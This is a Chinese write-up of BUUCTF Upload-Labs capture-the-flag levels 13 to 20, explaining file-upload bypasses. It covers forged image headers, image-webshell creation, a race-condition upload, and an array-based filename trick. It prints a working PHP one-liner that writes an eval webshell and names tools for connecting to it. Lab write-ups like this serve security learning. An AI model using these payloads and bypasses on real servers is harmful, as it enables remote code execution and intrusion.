1.BUUCTF刷题-Upload-Labs-Linux 1
第十三关:图马
这一关的要求是上传图马。
两种方法,改文件头或者是做个图马上传。
方法一:改文件头
题中有说,只检测文件内的前两个字节,所以把前两个字节改为合法的文件头即可。
上传php文件,然后bp抓包,给文件最前面加上"GIF89a",这是gif文件的开头,然后进行重放,就可以将文件上传。
或是抓包后在十六进制中加入"FF D8"这样的文件头,代表jpg文件,均可成功上传。然后利用作者给出的文件包含漏洞即可。
方法二:制作图马
这种方法比较简单,制作一个图马直接上传即可。
准备一个一句话木马和一个图片,在命令行中输入:"copy 图片.jpg/b + 木马.php/a shell.jpg"即可。
第十四、十五关:直接上传图马即可。
第十六关:图片二次渲染
想要尝试着上传不同类型的文件试错,结果发现会返回空页面,盲猜又是BUUCTF背锅。
第十七关:代码审计
源码:
仔细读一下代码的判断逻辑,会发现文件上传后,服务器先把文件保存,然后再进行判断,最后删除掉不合法的文件。那么,我们就可以利用服务器从保存,到删除的这个时间差来进行攻击。
“竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
首先,对一句话木马进行修改:
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["shell"])?>');?>
作用是当执行时会生成一个包含一句话木马的.php文件。
然后我们使用burp抓包,send to intruder,重复上传木马。
在burp进行重放的同时,执行使用脚本重复的去访问所上传的文件,直到访问成功。
此时,目录下就已经创建了webshell.php文件,直接用蚁剑就可以了。
第十八关:同为条件竞争,不过需上传图马。
第十九关:自己保存文件名
直接设置为1.Php就可以了。
第二十关:大的药来了
按照提示,直接看源码。
代码流程:
首先是对上传文件类型的检查,前几关遇到过,直接用burp修改content-type即可绕过。
之后的三目运算符A?B:C的意思是:检查$_POST是否为空,若为空,则$file=$_FILES['upload_file']['name'];否则$file=$_POST['save_name']。
紧接着会判断$file是不是一个数组,不是的话,会以"."为界分为数组,并最小化。
$ext(后缀名)为数组的最后一个元素。然后判断后缀名是否在白名单中。
然后以$file第一个元素和最后一个元素来重命名文件。
解题:
关键在于:
想要绕过就必须破坏程序原本的流程,那我们直接把上传的$file改为数组的形式。这样的话就会跳过if的运行段直接执行之后的语句。
我们这样修改包。
1:绕过type检查。
2:将"1.php"存储到save_name[0]中。
3:将"jpg"存储到save_name[2]中。
这样,$file就是一个名为save_name的数组。在判断白名单时,取数组最后一个元素也就是save_name[2]="jpg",通过。在储存文件名时,为"save_name[0].save_name[1]"(coiunt(save_name)=2),也就是"1.php."。
这样就可以把.php文件保存到服务器中,接下来直接连接就好。